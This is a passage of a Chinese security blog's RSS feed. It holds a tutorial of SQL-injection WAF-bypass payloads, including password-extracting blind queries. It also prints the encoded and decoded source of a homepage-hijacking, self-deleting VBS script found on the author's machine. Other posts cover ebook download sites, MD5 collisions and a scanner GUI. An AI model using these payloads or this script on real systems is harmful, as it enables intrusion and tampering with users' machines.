&lt;p&gt;目录&lt;/p&gt;
&lt;p&gt;1.&lt;span style=&#34;font-family: 宋体;&#34;&gt;大小写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;span style=&#34;font-family: 宋体;&#34;&gt;简单编码绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;3.&lt;span style=&#34;font-family: 宋体;&#34;&gt;注释绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;4.&lt;span style=&#34;font-family: 宋体;&#34;&gt;分隔重写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;5.Http&lt;span style=&#34;font-family: 宋体;&#34;&gt;参数污染&lt;/span&gt;(HPP)&lt;/p&gt;
&lt;p&gt;6.&lt;span style=&#34;font-family: 宋体;&#34;&gt;使用逻辑运算符&lt;/span&gt; or /and&lt;span style=&#34;font-family: 宋体;&#34;&gt;绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;7.&lt;span style=&#34;font-family: 宋体;&#34;&gt;比较操作符替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;8.&lt;span style=&#34;font-family: 宋体;&#34;&gt;同功能函数替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;9.&lt;span style=&#34;font-family: 宋体;&#34;&gt;盲注无需&lt;/span&gt;or&lt;span style=&#34;font-family: 宋体;&#34;&gt;和&lt;/span&gt;and&lt;/p&gt;
&lt;p&gt;10.&lt;span style=&#34;font-family: 宋体;&#34;&gt;加括号&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;11.缓冲区溢出绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;1. 大小写绕过&lt;/span&gt;&lt;/span&gt;
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union,那就使用Union UnIoN等等。绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;2.  简单编码绕过&lt;/span&gt;&lt;/span&gt;
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。。&lt;/p&gt;
&lt;p&gt;也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;3.  注释绕过&lt;/span&gt;&lt;/span&gt;
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+union+select+1,2,3/*
&lt;/div&gt;
比如对于上面这条查询，WAF过滤了一次union和select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，，并不影响我们的查询。。
所以绕过语句就是：
&lt;div&gt;
&gt; /?id=1/*union*/union/*select*/select+1,2,3/*
&lt;/div&gt;
还有一种和注释有关的绕过：
比如
&lt;div&gt;
&gt; index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
&lt;/div&gt;
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;4.   分隔重写绕过&lt;/span&gt;&lt;/span&gt;
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+un/**/ion+sel/**/ect+1,2,3--
&lt;/div&gt;
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了
&lt;div&gt;
&gt; ?id=1 ununionion select 1,2,3--
&lt;/div&gt;
&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;5.   Http参数污染(HPP)&lt;/span&gt;&lt;/span&gt;
比如我们有这样的语句：
&lt;div&gt;
&gt; /?id=1 union select+1,2,3+from+users+where+id=1--
&lt;/div&gt;
我们可以重复一次前面的id值添加我们的值来绕过，&amp;amp;id=会在查询时变成逗号
&lt;div&gt;
&gt; /?id=1 union select+1&amp;amp;id=2,3+from+users+where+id=1--
&lt;/div&gt;
这种情况成功的条件比较多，取决于具体的WAF实现。。
&lt;p&gt;再给出一个例子说明用法&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1/**/union/*&amp;amp;id=*/select/*&amp;amp;id=*/pwd/*&amp;amp;id=*/from/*&amp;amp;id=*/users--
&lt;/div&gt;
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
&lt;div&gt;
&gt; select * from table where a=&#34;.$_GET[&#39;a&#39;].&#34; and b=&#34;.$_GET[&#39;b&#39;].&#34; limit &#34;.$_GET[&#39;c&#39;];
&lt;/div&gt;
那我们可以构造这样的注入语句：
&lt;div&gt;
&gt; /?a=1+union/*&amp;amp;b=*/select+1,pass/*&amp;amp;c=*/from+users--
&lt;/div&gt;
最终解析为：
&lt;div&gt;
&gt; select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
&lt;/div&gt;
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;6. 使用逻辑运算符 or /and绕过&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+OR+0x50=0x50
&gt; /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
&lt;/div&gt;
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74.
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;7.  比较操作符替换&lt;/span&gt;&lt;/span&gt;
包括!= 不等于，&amp;lt;&amp;gt;不等于，&amp;lt; 小于，&amp;gt;大于，这些都可以用来替换=来绕过，
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;8.  同功能函数替换&lt;/span&gt;&lt;/span&gt;
Substring()可以用mid(),substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍
如果连这些都屏蔽了，还有一种新的方法&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个恶意vbs脚本的简单解码</title>
      <link>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</link>
      <pubDate>Sun, 25 Nov 2012 09:00:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序，当时没什么事，就打开看看。想知道是个什么东西。&lt;/p&gt;
&lt;p&gt;由于eset阻止，我就把文件拖出来。改个后缀。发现代码不长，前半段是ascii码编码的。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,32,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101)&lt;/pre&gt;
&lt;p&gt;后半段是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;For i = 0 To UBound(strs)
    runner = runner &amp;amp; Chr(strs(i))
Next
Execute runner&lt;/pre&gt;
&lt;p&gt;虽说对vbs不怎么熟，但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串，然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。&lt;/p&gt;
&lt;p&gt;解码嘛。很简单。VS刚好开着。直接写吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; byte[] strs = {68，101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101};
        System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        Console.WriteLine(asciiEncoding.GetString(strs));&lt;/pre&gt;
&lt;p&gt;运行后输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Do
    Set objWMIService = GetObject(&#34;winmgmts:\\.\root\cimv2&#34;)
    Set colProcesses = objWMIService.ExecQuery(&#34;Select * from Win32_Process&#34;)
    FoundProcess = 0
    For Each objProcess In colProcesses
        If objProcess.Name = &#34;userinit.exe&#34; Then
            FoundProcess = 1
            Exit For
        End If
    Next
    If FoundProcess = 0 Then Exit Do
    WScript.Sleep 100
Loop

sPage = &#34;http://www.999.com/?one&#34;

Set objShell = CreateObject(&#34;WScript.Shell&#34;)
objShell.RegWrite &#34;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&#34;, s
Page

sRegPath = &#34;HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings&#34;
On Error Resume Next
iEnabled = objShell.RegRead _
(sRegPath &amp;amp; &#34;\Enabled_&#34;)
If Err.Number = 0 Then
    objShell.RegWrite sRegPath &amp;amp; &#34;\Enabled&#34;, iEnabled, &#34;REG_DWORD&#34;
    objShell.RegDelete sRegPath &amp;amp; &#34;\Enabled_&#34;
End If

Set objShell = CreateObject(&#34;Scripting.FileSystemObject&#34;)
Set f = objShell.GetFile(WScript.ScriptFullName)
If f.Attributes And 1 Then f.Attributes = f.Attributes - 1
objShell.DeleteFile WScript.ScriptFullName&lt;/pre&gt;
&lt;p&gt;结合后半段。简单读一读，就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站，我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>分享几个电子书资源站点</title>
      <link>http://blog.leaver.me/2012/10/18/%E5%88%86%E4%BA%AB%E5%87%A0%E4%B8%AA%E7%94%B5%E5%AD%90%E4%B9%A6%E8%B5%84%E6%BA%90%E7%AB%99%E7%82%B9/</link>
      <pubDate>Thu, 18 Oct 2012 11:12:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/18/%E5%88%86%E4%BA%AB%E5%87%A0%E4%B8%AA%E7%94%B5%E5%AD%90%E4%B9%A6%E8%B5%84%E6%BA%90%E7%AB%99%E7%82%B9/</guid>
      <description>&lt;p&gt;看到书签里有好些电子书的资源站。今天心情不错。遂起了分享的念头。。&lt;/p&gt;
&lt;p&gt;对于计算机相关专业人隆重推荐&lt;a href=&#34;http://www.xiaoshuwu.in/&#34;&gt;小书屋&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;作者很认真的在分享技术/安全/心理学/技术PPT方面的书籍。算是国内技术书籍比较好的分享站点了。&lt;/p&gt;
&lt;p&gt;如果你没有找到自己喜欢的书。那么试试&lt;a href=&#34;http://forfrigg.com/&#34;&gt;forfrigg&lt;/a&gt;，是一个电子书籍整合站点。使用该网站。不只可以下载kindle书籍。更是能够搜索新浪，doukan等诸多网盘内容。实乃书籍下载必备引擎啊。&lt;/p&gt;
&lt;p&gt;什么？你只想下载百度文库的？没积分？好吧。那我告诉你一个类似的镜像站点&amp;ndash;&lt;a href=&#34;http://www.wenkudaquan.com/&#34;&gt;文库大全&lt;/a&gt;，这个站和百度文库差不多。资源很丰富。想下什么。就去下吧。。&lt;/p&gt;
&lt;p&gt;如果在这里没找到。。而你发现百度文科的积分是0 1 2 5那么试试&lt;a href=&#34;http://www.bangshouwang.com/&#34;&gt;帮手&lt;/a&gt;吧。免费下载。原版哦。稍多一点的积分就不可以了。如果你和博主私交不错。我帮你搞定。&lt;/p&gt;
&lt;p&gt;如果你是大牛。。只喜欢看英文原版的。。那么先去&lt;a href=&#34;http://www.qcenglish.com/&#34;&gt;七彩英语&lt;/a&gt;看看吧，优秀的英文电子书下载站。从技术到小说应有尽有。界面也漂亮。&lt;/p&gt;
&lt;p&gt;还嫌少？那去国外溜达吧。&lt;a href=&#34;http://www.ebook-downloader.com/&#34;&gt;ebook-downloader&lt;/a&gt; 随时欢迎你的光临。全球最大电子书下载平台。。尽情享受阅读的快感吧。。&lt;/p&gt;
&lt;p&gt;update:感谢@Shiyao Yu的推荐-&lt;a href=&#34;http://www.ppurl.com&#34;&gt;皮皮书屋&lt;/a&gt;。很小众。但资源很全。需注册。注册用户每天可下三本。最喜欢小众什么的了。我试着搜了一下计算机的。确实挺全。&lt;/p&gt;
&lt;p&gt;ps:如果你收藏了其他的站点。不妨留言回复。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从hash函数到王小云的MD5破解</title>
      <link>http://blog.leaver.me/2012/05/15/%E4%BB%8Ehash%E5%87%BD%E6%95%B0%E5%88%B0%E7%8E%8B%E5%B0%8F%E4%BA%91%E7%9A%84md5%E7%A0%B4%E8%A7%A3/</link>
      <pubDate>Tue, 15 May 2012 13:26:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/15/%E4%BB%8Ehash%E5%87%BD%E6%95%B0%E5%88%B0%E7%8E%8B%E5%B0%8F%E4%BA%91%E7%9A%84md5%E7%A0%B4%E8%A7%A3/</guid>
      <description>&lt;p&gt;　　以前一直纳闷不是说md5是不可逆的吗，那王小云怎么能破解呢。看到此文，豁然开朗，所谓的破解只是可以获得一个碰撞，使得两个文件的md5值一样。并不是说给定一个md5，能够得到原文。&lt;/p&gt;
&lt;p&gt;　　密码学是理论计算机的一个很大的方向。之前准备先写密码学概论再提在hash函数破解上做出重大贡献的王小云教授的工作，不过前两天&lt;a href=&#34;http://www.cast.org.cn/n435777/n435799/n928596/n930124/35475.html&#34;&gt;王小云获得求是杰出科学家奖以及100万奖金&lt;/a&gt;，在媒体上又掀起了一轮宣传狂潮，但是有些报道极端弱智，错误百出，所以我趁机纠正一下，并介绍密码学的一个组成部分——hash函数，以及王小云在这上面的工作。&lt;/p&gt;
&lt;p&gt;　　王小云的主要工作是关于hash函数的破解工作。她在2005一个密码学会议上宣布破解了SHA-1，震惊了全世界。所以要介绍和理解她的工作，先看一下hash函数具体是怎么回事。&lt;/p&gt;
&lt;p&gt;　　简单的说，&lt;strong&gt;hash函数&lt;/strong&gt;就是&lt;span style=&#34;color: #ff0000;&#34;&gt;把任意长的输入字符串变化成固定长的输出字符串&lt;/span&gt;的一种函数。通俗得说，hash函数用来生成信息的摘要。输出字符串的长度称为hash函数的&lt;strong&gt;位数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;　　目前应用最为广泛的hash函数是**&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA-1&lt;/a&gt;&lt;strong&gt;和&lt;/strong&gt;&lt;a href=&#34;http://en.wikipedia.org/wiki/Md5&#34;&gt;MD5&lt;/a&gt;**，大多是128位和更长。&lt;/p&gt;
&lt;p&gt;　　hash函数在现实生活中应用十分广泛。很多下载网站都提供下载文件的MD5码校验，可以用来判别文件是否完整。另外，比如在WordPress的数据库，所有密码都是保存的MD5码，这样即使数据库的管理员也无法知道用户的原始密码，避免隐私泄露（很多人在不同地方都是用的同一个密码）。&lt;/p&gt;
&lt;p&gt;　　如果两个输入串的hash函数的值一样，则称这两个串是一个&lt;strong&gt;碰撞&lt;/strong&gt;(&lt;strong&gt;Collision&lt;/strong&gt;)。既然是把任意长度的字符串变成固定长度的字符串，所以，必有一个输出串对应无穷多个输入串，碰撞是必然存在的。&lt;/p&gt;
&lt;p&gt;　　一个“优良”的hash函数 _f _应当满足以下三个条件：　&lt;/p&gt;
&lt;p&gt;　　1.任意y，找x，使得f(x)=y，非常困难。&lt;/li&gt;
　　2.给定x1，找x2，使得f(x1)=f(x2)，非常困难。&lt;/li&gt;
　　3.找x1，x2，使得f(x1)=f(x2)，非常困难。&lt;/li&gt;&lt;/p&gt;
&lt;p&gt;　　上面的“非常困难”的意思是除了枚举外不可能有别的更快的方法。比如第3条，根据&lt;a href=&#34;http://en.wikipedia.org/wiki/Birthday_paradox&#34;&gt;生日定理&lt;/a&gt;，要想找到这样的x1，x2，理论上需要大约2^(n/2)的枚举次数。&lt;/p&gt;
&lt;p&gt;　　几乎所有的hash函数的破解，都是指的破坏上面的第三条性质，即找到一个碰撞（前两条都能被破坏的hash函数也太弱了点，早就被人抛弃了）。在密码学上还有一个概念是&lt;strong&gt;理论破解&lt;/strong&gt;，指的是提出一个算法，使得可以用低于理论值得枚举次数找到碰撞。&lt;/p&gt;
&lt;p&gt;　　王小云的主要工作是给出了MD5，&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA-0&lt;/a&gt;的碰撞，以及SHA-1的理论破解，她证明了160位SHA-1，只需要大约2^69次计算就能找出来，而理论值是2^80次。她的寻找MD5碰撞的方法是极端高效的。传说王小云当时在会议上把碰撞写出来，结果被下面的人验证发现不对，原来她把MD5算法的一个步骤弄错了。但是她立马联系她的当时留在中国的学生，修正算法，并找到一个新的碰撞。这一个是对的。&lt;/p&gt;
&lt;p&gt;　　看到这里，那些认为中国国安局应该将这些结果封存作为秘密武器甚至幻想用这些成果来袭击美国之徒可以停住你们的YY了。这种形式上的破解，在大多数情况下没有实际性的作用。更别提MD5早就被美国人抛弃了。&lt;/p&gt;
&lt;p&gt;　　但是，说这种破解一点实际意义都没有，那就侮辱了广大密码学家的智商，密码学家不会无缘无故的弄出碰撞这么一个概念来。下面简单的介绍一下在特定情况下，怎么利用给定的碰撞来做坏事(翻译自&lt;a href=&#34;http://th.informatik.uni-mannheim.de/people/lucks/HashCollisions/&#34;&gt;Attacking Hash Functions&lt;/a&gt;)：&lt;/p&gt;
&lt;p&gt;　　Caesar给实习生Alice叫写了一封推荐信(letter)。同一天，Alice叫Caesar在推荐信上数字签名，并提供了一份推荐信的电子板。Caesar打开文件，发现和原件一模一样。所以他在文件上签了名。&lt;/p&gt;
&lt;p&gt;　　几个月后，Caesar发现他的秘密文件被非法察看。这到底是怎么回事呢？&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/letter_of_rec.ps&#34;&gt;&lt;img alt=&#34;letter&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/867e9ee66a7ab1aed4342dcb1a98489a6ab17134.png&#34;&gt; &lt;/a&gt;&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/order.ps&#34;&gt;&lt;img alt=&#34;order&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1a84f3c37a7c98c13605362aa25991c19b6d2d7b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;img alt=&#34;(apply MD5 to both documents)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf67e539f3da6867fc8a9070b940b83ff6daed5d.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;　　a25f7f0b 29ee0b39 68c86073 8533a4b9&lt;/p&gt;
&lt;p&gt;　　事实上，Alice要求Caesar签名的文件&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/letter_of_rec.ps&#34;&gt;letter&lt;/a&gt;已经被Alice做了手脚，准确地说，Alice还准备了另外一个文件&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/order.ps&#34;&gt;order&lt;/a&gt;，它们的MD5码完全一致。而Caesar的数字签名还依赖于MD5算法，所以Alice用order文件替换Letter文件之后，Caesar的数字签名依然有效。那封order给Alice提供了察看秘密文件的权限。&lt;/p&gt;
&lt;p&gt;　　具体的实现方法可见&lt;a href=&#34;http://www.cits.rub.de/imperia/md/content/magnus/rump_ec05.pdf&#34;&gt;Hash Functions and the Blind Passenger Attack&lt;/a&gt;。我在这里简单的解释一下(只是大致思路，具体实现方式，需要对文件结构信息有所了解)：&lt;/p&gt;
&lt;p&gt;　　letter文件的内容是：
　　　　if(x1==x1) show &amp;ldquo;letter&amp;rdquo; else show &amp;ldquo;order&amp;rdquo;
　　order文件的内容是：　　　
　　　　if(x2==x1) show &amp;ldquo;letter&amp;rdquo; else show &amp;ldquo;order&amp;rdquo;
　　其中字符串&amp;quot;letter&amp;quot;和&amp;quot;order&amp;quot;代表两封信实际显示的内容。x1，x2是一个MD5的碰撞。&lt;/p&gt;
&lt;p&gt;　　上面的方法，只供参考和学术用途，实际使用所引起的后果概不负责。　　
　　参考：
　　１.&lt;a href=&#34;http://th.informatik.uni-mannheim.de/people/lucks/HashCollisions/&#34;&gt;Attacking Hash Functions by Poisoned Messages &amp;ldquo;The Story of Alice and her Boss&amp;rdquo;&lt;/a&gt;
　　２.&lt;a href=&#34;http://en.wikipedia.org/wiki/Hash_function&#34;&gt;Hash function&lt;/a&gt;, wikipedia　
　　３.&lt;a href=&#34;http://en.wikipedia.org/wiki/SHA_hash_functions&#34;&gt;SHA&lt;/a&gt;, wikipedia
　　４.Interview with Yiqun Lisa Yin concerning the attack on SHA-1　&lt;/p&gt;
&lt;p&gt;　　原文来自：&lt;a href=&#34;http://zhiqiang.org/blog/science/computer-science/preliminary-computer-theory-xiao-yun-wang-from-the-hash-function-to-crack-md5.html&#34;&gt;http://zhiqiang.org&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WWWScan GUI版--WebScan</title>
      <link>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</link>
      <pubDate>Wed, 18 Apr 2012 21:56:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</guid>
      <description>&lt;p&gt;　　网上一直有个版本是Wscan Gui Beta6，首先感谢作者的无私奉献，写代码不容易啊。但是这个我不知道为什么在我的电脑上总是有一些错误。很多功能虽然加上了，但是其实对我有点多余。毕竟，我只是用这个扫描一下。于是，决定自己用C#做个GUI版，模仿实现一下。&lt;/p&gt;
&lt;p&gt;　　然后我看了一下目录结构。如下图所知
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20741_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1ab70fd66fde9efa08507a1d3930a4c4c9c4e53f.jpg&#34;&gt;&lt;/a&gt;
　　貌似作者只是简单写了。然后对应着调用扫描器。我想了下，可以通过修改文件名来实现，因为wwwscan默认只能识别cgi.list，那么我想的是当我选中一种扫描类型后。将对应的字典，比如asp.list改成cgi.list。当然为了保护原文件，复制。。然后调用。这样就不用有这么多exe了。。&lt;/p&gt;
&lt;p&gt;　　第二个我想实现作者的检测网站的脚本类型的功能，想到了两种方法。一种是循环访问index.xxx文件，xxx对asp jsp等，然后判断http状态码，200的话就可以对应判断出来网站脚本了。但是这样测试了一会没成功，还是算了，，然后想了一种猥琐流的方法，就是直接访问首页。然后把源码下载下来，然后搜索&amp;quot;.xxx&amp;quot;字符串，找到就行了，，当然这两种方法都是不完善的。。我也没想到什么完美的。。希望有人知道的话留言指教。&lt;/p&gt;
&lt;p&gt;　　最后的目录就清爽多了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20742_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2532b3507acd9c4ddd6787249e87f588554c46.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　那个4p啊，，就是盲扫描了。。不知道网站脚本的时候采用。。。&lt;/p&gt;
&lt;p&gt;　　界面基本完全模仿了作者的UI，进行了略微调整，希望作者不介意。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20743_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d099861e804d120c52b106989f63254908490533.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
